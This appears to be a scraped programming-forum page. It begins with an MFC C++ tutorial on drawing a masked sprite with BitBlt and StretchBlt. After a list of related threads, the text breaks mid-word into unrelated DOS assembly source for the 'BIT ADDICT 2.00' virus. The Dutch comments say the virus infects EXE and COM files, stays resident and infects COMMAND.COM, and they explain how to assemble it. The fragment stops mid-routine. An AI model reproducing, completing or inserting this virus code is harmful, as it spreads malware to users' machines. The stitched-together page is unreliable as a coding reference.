Library code snippets
How to Create a Sprite using MFC
Objectives
- Create a Bitmap
- Create a DC in MFC VC++
- Tell the DC to draw the bitmap
Technical Points
- Load the Bitmap into a Bitmap class
- The Bitmap class stores the Original DC Bitmap which will be restored when the class is destoried.
- The BitBlt function performs a 1:1 copy of pixels in the Source DC to the Target DC.
- StretchBlt function maps the Source DC to fit the dimensions of the Target DC.
OnCreate Event
pDC = new CClientDC(this);
HDC hdcWindow = pDC->GetSafeHdc();
// let our class handle the details of loading the bitmaps!
g_bmpBackground.Load(hdcWindow, "ch2p7_bg.bmp");
g_bmpSprite.Load(hdcWindow, "ch2p7_purball.bmp");
g_bmpSpriteMask.Load(hdcWindow, "ch2p7_purball_mask.bmp");
// release the DC we obtained
ReleaseDC(pDC);
delete pDC;
//Set the Milliseconds for each timer event
SetTimer(1,500,0);
OnDraw Event
StretchBlt(hdcWindow,
0, 0, 640, 480,
g_bmpBackground.GetBitmapDC(), 0, 0,
g_bmpBackground.GetWidth(),
g_bmpBackground.GetHeight(), SRCCOPY);
On Timer Event
CDC *pDC;
int randomx = RandomNumber(0,640);
int randomy = RandomNumber(0,480);
pDC = new CClientDC(this);
HDC hdcWindow = pDC->GetSafeHdc();
//redraw the background
StretchBlt(hdcWindow,0, 0, 640, 480,
g_bmpBackground.GetBitmapDC(), 0, 0, 640, 480, SRCCOPY);
// first blit the mask, using SRCAND.
BitBlt(hdcWindow, randomx, randomy, 640, 480,
g_bmpSpriteMask.GetBitmapDC(), 0, 0, SRCAND);
// then blit the image using the OR operator (SRCPAINT).
BitBlt(hdcWindow, randomx, randomy, 640, 480,
g_bmpSprite.GetBitmapDC(), 0, 0, SRCPAINT);
ReleaseDC(pDC);
delete pDC;
Related articles
Related discussion
-
Effective tool for GDI memory leaks detection in C++
by Stuka4 (0 replies)
-
C++ CATMULL-ROM
by tkruvgt (0 replies)
-
VS2005 app's won't run on another machine
by ted4444 (0 replies)
-
VB.NET: Hide and show table using radio buttons
by converter2009 (1 replies)
-
Convert C++ code to VB6
by mawcot (4 replies)
Ho; BIT ADDICT Versie 2.00
;
; Dit virus besmet exe en com-files, en als het opgestart wordt dan reserveert
; hij 2 diskbuffers en copieert het virus daarheen om resident te blijven.
; Als het virus resident is dan gaat hij in de environment naar de comspec
; zoeken en besment dan de command interpreter (meestal COMMAND.COM).
; Om dit virus te assambleren moet je met TASM, of MASM een OBJ-file maken en
; dan linken naar een exe-file. Wees voorzichtig en veel plezier met dit virus.
; p.s. wil je dit virus nog aan NIEMAND geven zonder mijn toestemming, omdat
; het virus nog niet helemaal af is, en waarschijnlijk ook niet helemaal zonder
; fouten.
;-----------------------------------------------------------------------------
;----- -----
;----- Macros en andere hulpmiddellen -----
;----- -----
;-----------------------------------------------------------------------------
; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
; wordt dan 128 bytes en er dus een foutmelding komt
jmpc macro Dest ; vervanging voor jc
local @@00
jnc @@00
jmp Dest
@@00:
endm
jmpnc macro Dest ; vervanging voor jnc
local @@00
jc @@00
jmp Dest
@@00:
endm
jmpe macro Dest ; vervanging voor je
local @@00
jnz @@00
jmp Dest
@@00:
endm
jmpne macro Dest ; vervanging voor jne
local @@00
jz @@00
jmp Dest
@@00:
endm
eseg segment
mov ax,4c00h ; exit
int 21h
eseg ends
;-----------------------------------------------------------------------------
;----- -----
;----- Begin van het Bit Addict virus -----
;----- -----
;-----------------------------------------------------------------------------
cseg segment
assume cs:cseg,ds:cseg,es:cseg
org 0
BeginCode equ $
SavedCode equ this byte ; gegevens over het
OldSignature dw 5a4dh ; programma voor het virus
OldCSIP equ this dword
OldIP dw 0
OldCS dw 0
OldSP dw 200h
OldSS dw 0
dw 3 dup(0)
Comspec db 'COMSPEC=' ; comspec environment variabele
; om de command.com te vinden
ID db 'BIT ADDICT 2.00' ; identificatie string
ID_Length equ $-offset ID
Begin: push ax ; Programma om het virus
push bx ; in het geheugen te zetten
push cx
push dx
push si
push di
push ds
push es
push cs
pop ds
cmp OldSignature,5a4dh
je @@10
mov si,offset SavedCode ; herstel begin van het
mov di,100h ; com-programma
mov cx,10h
cld
rep movsb
mov OldSS,ss ; bewaar de waarden van
mov OldSP,sp ; ss,sp,cs en ip
sub OldSP,10h
mov OldCS,es
mov OldIP,100h
jmp @@11
@@10: mov ax,es ; bereken de waarden van
add ax,10h ; ss,sp,cs en ip
add OldCS,ax
add OldSS,ax
@@11: mov ax,4b40h ; controleer of Bit Addict al
int 21h ; in het geheugen aanwezig is
jc @@12
mov ds,ax
push cs ; vergelijk identificatie
pop ds
mov si,offset ID
mov di,si
mov cx,ID_Length
cld
repe cmpsb
jmpne @@13
@@12: mov ah,52h ; lees het adres van de eerste
int 21h ; disk-buffer
push bx
mov ah,30h
int 21h
pop di
cmp al,2 ; dit werkt niet op dos 1.x
This thread is for discussions of How to Create a Sprite using MFC.